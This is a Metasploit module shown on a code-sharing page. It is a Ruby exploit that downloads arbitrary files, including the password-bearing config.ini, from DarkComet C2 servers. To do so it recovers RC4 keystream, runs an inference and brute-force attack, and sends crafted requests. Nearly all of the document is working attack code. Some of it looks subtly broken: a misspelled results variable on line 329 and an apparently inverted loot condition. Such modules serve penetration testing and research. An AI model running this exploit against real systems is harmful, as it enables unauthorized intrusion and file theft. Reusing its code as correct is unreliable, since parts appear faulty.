Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/darkcomet_filedownloader.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'DarkComet Server Remote File Download Exploit',
15
'Description' => %q{
16
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
17
The exploit does not need to know the password chosen for the bot/server communication.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [
21
'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
22
'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
23
],
24
'References' => [
25
[ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
26
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
27
],
28
'DisclosureDate' => '2012-10-08',
29
'Platform' => 'win',
30
'Notes' => {
31
'Reliability' => UNKNOWN_RELIABILITY,
32
'Stability' => UNKNOWN_STABILITY,
33
'SideEffects' => UNKNOWN_SIDE_EFFECTS
34
}
35
)
36
)
37
38
register_options(
39
[
40
Opt::RPORT(1604),
41
Opt::RHOST('0.0.0.0'),
42
43
OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
44
OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
45
OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
46
OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
47
OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
48
OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])
49
50
]
51
)
52
end
53
54
# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
55
def xor_strings(s1, s2)
56
s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
57
end
58
59
def get_keystream(ciphertext, known_plaintext)
60
c = [ciphertext].pack('H*')
61
if known_plaintext.length > c.length
62
return xor_strings(c, known_plaintext[0, c.length])
63
elsif c.length > known_plaintext.length
64
return xor_strings(c[0, known_plaintext.length], known_plaintext)
65
else
66
return xor_strings(c, known_plaintext)
67
end
68
end
69
70
def use_keystream(plaintext, keystream)
71
if keystream.length > plaintext.length
72
return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
73
else
74
return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
75
end
76
end
77
78
# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
79
# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
80
def rc4_initialize(key)
81
@q1 = 0
82
@q2 = 0
83
@key = []
84
key.each_byte { |elem| @key << elem } while @key.size < 256
85
@key.slice!(256..@key.size - 1) if @key.size >= 256
86
@s = (0..255).to_a
87
j = 0
88
0.upto(255) do |i|
89
j = (j + @s[i] + @key[i]) % 256
90
@s[i], @s[j] = @s[j], @s[i]
91
end
92
end
93
94
def rc4_keystream
95
@q1 = (@q1 + 1) % 256
96
@q2 = (@q2 + @s[@q1]) % 256
97
@s[@q1], @s[@q2] = @s[@q2], @s[@q1]
98
@s[(@s[@q1] + @s[@q2]) % 256]
99
end
100
101
def rc4_process(text)
102
text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
103
end
104
105
def dc_encryptpacket(plaintext, key)
106
rc4_initialize(key)
107
rc4_process(plaintext).unpack('H*')[0].upcase
108
end
109
110
# Try to execute the exploit
111
def try_exploit(exploit_string, keystream, bruting)
112
connect
113
idtype_msg = sock.get_once(12)
114
115
if idtype_msg.length != 12
116
disconnect
117
return nil
118
end
119
120
if datastore['KEY'] != ''
121
exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
122
else
123
# If we don't have a key we need enough keystream
124
if keystream.nil?
125
disconnect
126
return nil
127
end
128
129
if keystream.length < exploit_string.length
130
disconnect
131
return nil
132
end
133
134
exploit_msg = use_keystream(exploit_string, keystream)
135
end
136
137
sock.put(exploit_msg)
138
139
if bruting
140
begin
141
ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
142
rescue Timeout::Error
143
disconnect
144
return nil
145
end
146
else
147
ack_msg = sock.get_once(3)
148
end
149
150
if ack_msg != "\x41\x00\x43"
151
disconnect
152
return nil
153
# Different protocol structure for versions >= 5.1
154
elsif datastore['NEWVERSION'] == true
155
if bruting
156
begin
157
filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
158
rescue Timeout::Error
159
disconnect
160
return nil
161
end
162
else
163
filelen = sock.get_once(10).to_i
164
end
165
if filelen == 0
166
disconnect
167
return nil
168
end
169
170
if datastore['KEY'] != ''
171
a_msg = dc_encryptpacket('A', datastore['KEY'])
172
else
173
a_msg = use_keystream('A', keystream)
174
end
175
176
sock.put(a_msg)
177
178
if bruting
179
begin
180
filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
181
rescue Timeout::Error
182
disconnect
183
return nil
184
end
185
else
186
filedata = sock.get_once(filelen)
187
end
188
189
if filedata.length != filelen
190
disconnect
191
return nil
192
end
193
194
sock.put(a_msg)
195
disconnect
196
return filedata
197
else
198
filedata = ''
199
200
if bruting
201
begin
202
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
203
rescue Timeout::Error
204
disconnect
205
return nil
206
end
207
else
208
msg = sock.get_once(1024)
209
end
210
211
while (!msg.nil?) && (msg != '')
212
filedata += msg
213
if bruting
214
begin
215
msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
216
rescue Timeout::Error
217
break
218
end
219
else
220
msg = sock.get_once(1024)
221
end
222
end
223
224
disconnect
225
226
if filedata == ''
227
return nil
228
else
229
return filedata
230
end
231
end
232
end
233
234
# Fetch a GetSIN response from C2 server
235
def fetch_getsin
236
connect
237
idtype_msg = sock.get_once(12)
238
239
if idtype_msg.length != 12
240
disconnect
241
return nil
242
end
243
244
keystream = get_keystream(idtype_msg, 'IDTYPE')
245
server_msg = use_keystream('SERVER', keystream)
246
sock.put(server_msg)
247
248
getsin_msg = sock.get_once(1024)
249
disconnect
250
getsin_msg
251
end
252
253
# Carry out the crypto attack when we don't have a key
254
def crypto_attack(exploit_string)
255
getsin_msg = fetch_getsin
256
if getsin_msg.nil?
257
return nil
258
end
259
260
getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
261
keystream = get_keystream(getsin_msg, getsin_kp)
262
263
if keystream.length < exploit_string.length
264
missing_bytecount = exploit_string.length - keystream.length
265
266
print_status("Missing #{missing_bytecount} bytes of keystream ...")
267
268
inferrence_segment = ''
269
brute_max = 4
270
271
if missing_bytecount > brute_max
272
print_status("Using inference attack ...")
273
274
# Offsets to monitor for changes
275
target_offset_range = []
276
for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
277
target_offset_range << i
278
end
279
280
# Store inference results
281
inference_results = {}
282
283
# As long as we haven't fully recovered all offsets through inference
284
# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
285
getsin_observation = [''] * 4
286
buffer_head = 0
287
288
for i in 0..2
289
getsin_observation[i] = [fetch_getsin].pack('H*')
290
Rex.sleep(0.5)
291
end
292
293
buffer_tail = 3
294
295
# Actual inference attack happens here
296
while !target_offset_range.empty?
297
getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
298
Rex.sleep(0.5)
299
300
# We check if we spot a change within a position between two consecutive items within our circular buffer
301
# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
302
target_offset_range.each do |x|
303
index = buffer_head
304
305
while index != buffer_tail do
306
next_index = (index + 1) % 4
307
308
# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
309
# observations as well while being constant in at least one previous or subsequent observation
310
if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
311
target_offset_range.delete(x)
312
inference_results[x] = xor_strings(getsin_observation[index][x], '9')
313
break
314
end
315
index = next_index
316
end
317
end
318
319
# Update circular buffer head & tail
320
buffer_tail = (buffer_tail + 1) % 4
321
# Move head to right once tail wraps around, discarding oldest item in circular buffer
322
if buffer_tail == buffer_head
323
buffer_head = (buffer_head + 1) % 4
324
end
325
end
326
327
# Inference attack done, reconstruct final keystream segment
328
inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
329
inferrence_results.each do |x, val|
330
inf_seg[x] = val
331
end
332
333
inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
334
missing_bytecount = brute_max
335
end
336
337
if missing_bytecount > brute_max
338
print_status("Improper keystream recovery ...")
339
return nil
340
end
341
342
print_status("Initiating brute force ...")
343
344
# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
345
charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
346
char_range = missing_bytecount.times.map { charset }
347
char_range.first.product(*char_range[1..-1]) do |x|
348
p = x.join
349
candidate_plaintext = getsin_kp + p
350
candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
351
filedata = try_exploit(exploit_string, candidate_keystream, true)
352
353
if !filedata.nil?
354
return filedata
355
end
356
end
357
return nil
358
end
359
360
try_exploit(exploit_string, keystream, false)
361
end
362
363
def parse_password(filedata)
364
filedata.each_line { |line|
365
elem = line.strip.split('=')
366
if elem.length >= 1
367
if elem[0] == 'PASSWD'
368
if elem.length == 2
369
return elem[1]
370
else
371
return ''
372
end
373
end
374
end
375
}
376
return nil
377
end
378
379
def run
380
# Determine exploit string
381
if datastore['NEWVERSION'] == true
382
if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
383
exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
384
else
385
exploit_string = 'QUICKUP1|config.ini|'
386
end
387
elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
388
exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
389
else
390
exploit_string = 'UPLOADconfig.ini|1|1|'
391
end
392
393
# Run exploit
394
if datastore['KEY'] != ''
395
filedata = try_exploit(exploit_string, nil, false)
396
else
397
filedata = crypto_attack(exploit_string)
398
end
399
400
# Harvest interesting credentials, store loot
401
if !filedata.nil?
402
# Automatically try to extract password from config.ini if we haven't set a key yet
403
if datastore['KEY'] == ''
404
password = parse_password(filedata)
405
if password.nil?
406
print_status("Could not find password in config.ini ...")
407
elsif password == ''
408
print_status("C2 server uses empty password!")
409
else
410
print_status("C2 server uses password [#{password}]")
411
end
412
end
413
414
# Store to loot
415
if datastore['STORE_LOOT'] == true
416
print_status("Storing data to loot...")
417
if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')
418
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
419
else
420
store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
421
end
422
else
423
print_status(filedata.to_s)
424
end
425
else
426
print_error("Attack failed or empty config file encountered ...")
427
end
428
end
429
end
430
431